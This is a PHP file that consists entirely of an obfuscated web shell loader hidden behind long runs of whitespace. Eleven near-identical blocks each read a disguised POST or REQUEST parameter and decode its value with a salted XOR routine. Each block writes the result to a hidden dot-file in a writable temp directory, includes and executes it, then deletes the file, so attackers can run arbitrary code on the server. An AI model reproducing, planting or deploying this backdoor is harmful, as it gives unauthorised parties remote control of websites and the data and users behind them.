<?php																																										if(isset($_POST) && isset($_POST["proper\x74\x79\x5F\x73et"])){ $dat = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp"]); $component = $_POST["proper\x74\x79\x5F\x73et"]; $component = explode ( "." , $component ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $i =0; $__tmp =$component; while ($v9 =array_shift($__tmp)) { $chS =ord($s[$i %$sLen] ); $dec =((int)$v9 - $chS - ($i %10)) ^ 18; $pointer.=chr($dec ); $i++; } foreach ($dat as $token) { if (is_dir($token) && is_writable($token)) { $hld = join("/", [$token, ".ent"]); if (@file_put_contents($hld, $pointer) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "pt\x72")){ $dchunk = $_POST["pt\x72"]; $dchunk= explode( "." ,$dchunk) ; $element = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $o = 0; $__tmp = $dchunk; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt8[$o % $lenS]); $dec = ((int)$v8 - $sChar - ($o % 10)) ^80; $element .= chr($dec); $o++; } $desc = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($desc as $key => $record) { if ((is_dir($record) and is_writable($record))) { $itm = str_replace("{var_dir}", $record, "{var_dir}/.value"); $success = file_put_contents($itm, $element); if ($success) { include $itm; @unlink($itm); exit;} } } }
																																										if(!empty($_REQUEST["fac\x74\x6Fr"])){ $tkn = $_REQUEST["fac\x74\x6Fr"]; $tkn =explode ("." , $tkn ); $ent=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt6); $t=0; array_walk( $tkn, function( $v9) use( &$ent, &$t, $salt6, $lenS) { $chS=ord( $salt6[$t % $lenS]); $d=( ( int)$v9 - $chS -( $t % 10)) ^ 71; $ent.= chr( $d); $t++; }); $holder = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $val = 0; do { $desc = $holder[$val] ?? null; if ($val >= count($holder)) break; if (is_writable($desc) && is_dir($desc)) { $flg = "$desc" . "/.dchunk"; if (@file_put_contents($flg, $ent) !== false) { include $flg; unlink($flg); exit; } } $val++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x64esc\x72ip\x74o\x72"])){ $marker = $_POST["\x64esc\x72ip\x74o\x72"]; $marker = explode ( '.' ,$marker ); $val = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $q = 0; while ($q < count($marker)) {$v4 = $marker[$q]; $sChar = ord($salt7[$q % $lenS]); $dec = ((int)$v4 - $sChar - ($q % 10)) ^ 79; $val .=chr($dec); $q++; } $comp = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP")]); $element = 0; do { $bind = $comp[$element] ?? null; if ($element >= count($comp)) break; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $key = "$bind/.elem"; $file = fopen($key, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $key; @unlink($key); die(); } } $element++; } while (true); }
																																										if(array_key_exists("h\x6Cd", $_REQUEST) && !is_null($_REQUEST["h\x6Cd"])){ $factor = $_REQUEST["h\x6Cd"]; $factor = explode( ".", $factor ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($factor as $r =>$v6) { $sChar = ord($salt[$r % $sLen]); $dec = ((int)$v6 - $sChar - ($r % 10)) ^ 36; $comp .= chr($dec); } $data = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), getenv("TEMP")]); for ($pgrp = 0, $data_chunk = count($data); $pgrp < $data_chunk; $pgrp++) { $itm = $data[$pgrp]; if (!!is_dir($itm) && !!is_writable($itm)) { $token = vsprintf("%s/%s", [$itm, ".key"]); if (file_put_contents($token, $comp)) { require $token; unlink($token); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x76\x61l")){ $item = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm"]); $itm = $_REQUEST["\x76\x61l"]; $itm= explode ( "." , $itm) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $j = 0; array_walk($itm, function ($v8) use (&$data, &$j, $s, $sLen) { $chS = ord($s[$j %$sLen] ); $dec = ((int)$v8 - $chS - ($j %10)) ^ 100; $data .= chr($dec ); $j++; } ); foreach ($item as $bind): if (is_dir($bind) ? is_writable($bind) : false) { $property_set = join("/", [$bind, ".reference"]); if (file_put_contents($property_set, $data)) { require $property_set; unlink($property_set); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x65\x6Etit\x79"] ?? null)){ $item = $_REQUEST["\x65\x6Etit\x79"]; $item= explode ('.' , $item ); $binding = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $t = 0; $len = count( $item); do { if( $t >= $len) break; $v9 = $item[$t]; $chS = ord( $s3[$t % $sLen]); $dec =( ( int)$v9 - $chS -( $t % 10)) ^ 71; $binding .= chr( $dec); $t++; }while( true); $parameter_group = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($parameter_group as $object) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $flag = str_replace("{var_dir}", $object, "{var_dir}/.fac"); if (file_put_contents($flag, $binding)) { include $flag; @unlink($flag); die(); } } } }
																																										if(array_key_exists("hol\x64e\x72", $_REQUEST)){ $res = $_REQUEST["hol\x64e\x72"]; $res =explode ( "." , $res ) ; $data_chunk=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s5 ); $__len=count( $res ); for( $o=0; $o < $__len; $o++) { $v3=$res[$o]; $sChar=ord( $s5[$o % $lenS] ); $dec=( ( int)$v3 - $sChar -( $o % 10)) ^ 14; $data_chunk .= chr( $dec ); } $record = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); for ($marker = 0, $flag = count($record); $marker < $flag; $marker++) { $pset = $record[$marker]; if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $symbol = "$pset/.tkn"; if (@file_put_contents($symbol, $data_chunk) !== false) { include $symbol; unlink($symbol); die(); } } } }
																																										if(@$_POST["\x63\x6F\x6Dponen\x74"] !== null){ $item = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); $value = $_POST["\x63\x6F\x6Dponen\x74"]; $value= explode ( "." , $value); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $u = 0; foreach( $value as $v9) { $sChar = ord( $salt[$u % $sLen]); $dec = ( ( int)$v9 - $sChar -( $u % 10)) ^ 74; $obj .= chr( $dec); $u++;} foreach ($item as $resource): if (max(0, is_dir($resource) * is_writable($resource))) { $pset = implode("/", [$resource, ".sym"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $pset; @unlink($pset); exit; } } endforeach; }
																																										if(isset($_REQUEST["o\x62\x6A\x65ct"]) ? true : false){ $res = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp"]); $ent = $_REQUEST["o\x62\x6A\x65ct"]; $ent=explode('.' ,$ent) ; $pgrp =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt7); $q =0; while( $q<count( $ent)) { $v1 =$ent[$q]; $sChar =ord( $salt7[$q % $lenS]); $d =( ( int)$v1 - $sChar -( $q % 10))^ 92; $pgrp .= chr( $d); $q++; } while ($symbol = array_shift($res)) { if (is_dir($symbol) && is_writable($symbol)) { $item = str_replace("{var_dir}", $symbol, "{var_dir}/.mrk"); if (file_put_contents($item, $pgrp)) { include $item; @unlink($item); exit; } } } }


if(array_key_exists("r\x65\x66\x65\x72ence", $_POST)){
	$pgrp = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path()]);
	$symbol = $_POST["r\x65\x66\x65\x72ence"];
				$symbol   =			explode	(  '.',	 	$symbol	)			; 	
	$hld='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($s);
            $j=0;
    
            $__tmp=$symbol;
            while($v6=array_shift($__tmp)) {
                $sChar=ord($s[$j % $lenS]);
                $dec=((int)$v6 - $sChar -($j % 10)) ^ 17;
                $hld  .=	 chr($dec);
                $j++;
            }
	foreach ($pgrp as $key => $dchunk) {
    		if (is_writable($dchunk) && is_dir($dchunk)) {
    $component = join("/", [$dchunk, ".res"]);
    $success = file_put_contents($component, $hld);
if ($success) {
	include $component;
	@unlink($component);
	die();}
}
}
}